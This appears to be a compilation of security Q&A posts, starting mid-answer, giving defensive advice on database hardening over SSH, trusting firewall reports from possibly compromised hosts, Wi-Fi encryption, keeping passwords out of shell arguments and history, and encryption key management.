You should ensure a significantly-strong passphrase exists to use your SSH key (better practice) to prevent an attacker from immediately compromising the database server after grabbing your key.

If an attacker compromises the database server, they may be able to compromise other servers in the network. You may be opening up a huge can of worms here.

Defense in Depth

As with everything security, it's important to consider your threat model and layering. Defense in depth is the process of creating a bunch of different layers of security to prevent as much compromise as possible.

Ask yourself, "What do I have, and what am I trying to protect?" This is the starting point for security engineering.

In this scenario I would recommend something like this (assuming you're the DB owner):

Ensure that the web applications have sufficient hardening to prevent remote code execution, sql injection, ssrf, lfi, rfi and other vulnerabilities.
Ensure that the web server exposes only necessary ports such as 80/443.
Ensure that the database server itself communicates only with your web app via SSH. By default, it's going to deny everything except what is required to run, and allow your web app's IP address on port 22. Depending on the scale and complexity, you may have it communicate only with the load balancer which will distribute it across other web app instances, but that's out of scope here.
Ensure that your SSH key requires a passphrase. A very strong one.
Ensure that the database does not have file I/O capabilities unless necessary.
Ensure that the database server cannot, by default, create any outgoing connections except on required ports. This ensures that if someone exploits your database through some kind of injection or exploit (Attacker -> Web App -> SSH Request Forward -> DB Exploit), it doesn't allow the attacker to (easily) return a reverse shell to their system (we covered SQLi in #1, but still -- here's another annoying layer).
Ensure that neither the web app server, nor the database is running as root.
Ensure that the permissions for your SSH pivot are as low as they can be to manage it. You may set up users in the database configuration for example.
If possible, ensure that the database server is on it's own VPC/VLAN.
Finally, if you really do need to go this route, there should be no reason for you to connect as root. You should connect as a standard user and type in a strong password. A VPN would be a better idea.

This is not a complete list, just something quick to get you started.

TLDR: principle of least privilege.


How to verify that a host applied a firewall ruleset as is? I have a service that sends rulesets to a fleet of hosts. Each host in its turn is expected to apply its ruleset to its firewall (iptables) and then send an acknowledgement back to the service.

I wonder if there's a way to verify that the host is not 'lying' and that it applied the ruleset as is.

One way I could think of is to put a certificate on the host and let it send back an iptables log signed with the certificate but this is obviously not good enough as the host could fake the iptables log and sign it.

If the attacker has enough control of the host to manipulate your codes perception of the state of iptables then the host is compromised and you can't trust it at all! Iptables maybe patched to subtlety allow the attacker to bypass your rules but still respond telling everyone on the system that everything is fine.  Iptables is useless at this point: putting a Bulletproof vest on top of a gunshot wound  won't stop the bleeding!

The only real solution I can see is to use  tripwire or an other host based intrusion detection system  to monitor the host for changes that look malicious. Whatever you do though you cant be 100% your host isn't compromised. It's a matter of risk mitigation.


How secure is LAN wireless 802.11 if password is used with access point? I've read a book on computer networks, and among other subjects the author touched WiFi security. It was said that WiFi has some serious security flaws and that there is even free publicly available software for WiFi snooping. The protocol in use was WEP, but was replaced in 2004 with something more secure (didn't cover that). So the question still remains, how secure is wireless traffic nowadays if access point requires password (and the intruder doesn't know it)? And how to check if my access point device in LAN is indeed transmitting and receiving securely?

"How Secure?" is a difficult question to answer.  It depends on your particular circumstance and risk tolerance.

If you are using WPA2 for encryption with a complex key, than I think it's reasonable to say that your connection is at least as secure as a wired Ethernet connection.


Is it secure to type in sensitive data in bash / shell scripts So lets say I have a .sh script and I have to input a password in it , will there be some kind of cache where the bash inputs are stored ? And if yes please tell me whre so I can ersase it . Would the attacker be able to decrypt something which was encrypted with a shell / bash script passed through another program , if he had physical access to the machine ? If yes , how can I prevent that ?

I didnt find anything on the topic .

Thank you !

part of the script as example :

echo "please input your password to be hashed "
echo ""

stty -echo
read -p "Password :" x; echo
stty echo

echo ""

echo "please repeat the password "

echo ""
stty -echo
read -p "Password :" x2; echo
stty echo

if [[ $x == $x2 ]] ;then
    echo ""
    echo "Passwords match !"
    echo ""
    sleep 2
else
    echo ""
    echo "passwords dont match :( "
    echo ""
    sleep 2
    echo "exiting"
    echo ""
    sleep 1
    exit 1
fi

Introduction

Don't reinvent the wheel

There could already exist some tool for doing what you need.
Check your history files

grep mycommand .*history

Don't use command line arguments or environment variables to store sensitive data (like passwords)!

Always use files or fd (file descriptors)! Try

ps axefwww

to read all command lines and environment, currently running on your host

From openssl's man page:

(where sensible datas as command line argument or environment variables are recommended to be used where security is not important and with caution)

   Pass Phrase Options
       Several commands accept password arguments, typically using -passin and
       -passout for input and output passwords respectively. These allow the
       password to be obtained from a variety of sources. Both of these
       options take a single argument whose format is described below. If no
       password argument is given and a password is required then the user is
       prompted to enter one: this will typically be read from the current
       terminal with echoing turned off.

       pass:password
           The actual password is password. Since the password is visible to
           utilities (like 'ps' under Unix) this form should only be used
           where security is not important.

       env:var
           Obtain the password from the environment variable var. Since the
           environment of other processes is visible on certain platforms
           (e.g. ps under certain Unix OSes) this option should be used with
           caution.

       file:pathname
           The first line of pathname is the password. If the same pathname
           argument is supplied to -passin and -passout arguments then the
           first line will be used for the input password and the next line
           for the output password. pathname need not refer to a regular file:
           it could for example refer to a device or named pipe.

       fd:number
           Read the password from the file descriptor number. This can be used
           to send the data via a pipe for example.

       stdin
           Read the password from standard input.

Little sample

#!/bin/sh

umask 077
TEMPDIR=$(mktemp -d -p "$HOME" .secretXXXXXXXX)
trap "rm -fR '$TEMPDIR';exit" 0 1 2 3 6 9 15
[ "$TEMPDIR" ] || exit 1
cd "$TEMPDIR" || exit 1

ostty=$(stty -g)
stty -echo

printf "\nEnter password: "
head -n1 >pass1

printf "\nRe-enter password: "
head -n1 >pass2

stty $ostty
echo

chk1=$(sha1sum <pass1)
chk2=$(sha1sum <pass2)

[ "$chk1" = "$chk2" ] || {
    echo "password doesn't match"
    exit 1
}

openssl DoSomeThingWith -passin file:pass1


Encryption Key Storage and floating point encryption I am working on a web application where I need to encrypt some fields based on user configuration and display the decrypted information. The field values can be text or integers or floats.

We are planning to use AES-128 but I am not sure of the number of keys to be used. What I mean by that is the application has activities which may contain sensitive data which needs to be encrypted. Is it better to have a single key for the entire application or generate keys on a per activity basis? Moreover, what is the  best practice for storing keys? Should they be stored in the same database or in a dedicated key-value store?

At a proof of concept level, how to handle Encryption for floating point numbers? I've tried converting to strings and re-converting to floats but the databases give precision issues.

Encryption works on sequences of bits. It can encrypt anything that can be represented as bits. It cannot encrypt anything that has not been converted to bits. Fortunately, anything in a computer, by definition, is, at some level, a sequence of bits.

Conversion of floating-point integers into bits and back is a common thing to do, subject to some standards such as IEEE 754. Some programming languages already offer functions for doing such conversion in a deterministic, well-defined way that maximizes interoperability; e.g. in Java.

As for key management... the most important point to understand is that encryption is not some kind of magic security sauce that improves security simply by being applied more or less generously. Encryption does not create confidentiality; it concentrates it. Suppose you have some (possibly big) chunk of data D, that you want to keep confidential even against people who can peek at the data where it is stored. By encrypting D (if it is done properly) with a key K, you have reduced the confidentiality issue to that of K: if attackers cannot see K, then they won't be able to see D even if they see the encrypted version of D. But you still have to think about how to keep K out of reach of these attackers.

For instance, if your attackers can take a dump of your database, full of data which was encrypted with K, and K is also stored in the database, then encryption was totally useless. Encryption can make sense only insofar as the key can be kept out of reach of attackers through some other methods (of course, the key being small and not changing often, it makes that task easier). Otherwise, encrypting all the data becomes, in fact, some elaborate dance that will spend CPU cycles, increase development costs and appease auditors, without actually making things more secure.

Encryption is a tool, not a goal. You don't encrypt because you want to encrypt (well, unfortunately, encryption is often applied for that exact reason). You encrypt because, within a given security model, you have determined that there is a confidentiality issue for data that is stored or transferred, and encryption can help in reducing that risk by mathematically moving out large chunks of hardware and software out of the exposure window. The model and the system architecture will tell you who (in terms of both people and system components) is supposed to access the data, and who should not; in other words, where the encryption/decryption key will have to be known; this, in turn, implies what kind of key management you need (number of keys, lifecycle of keys...).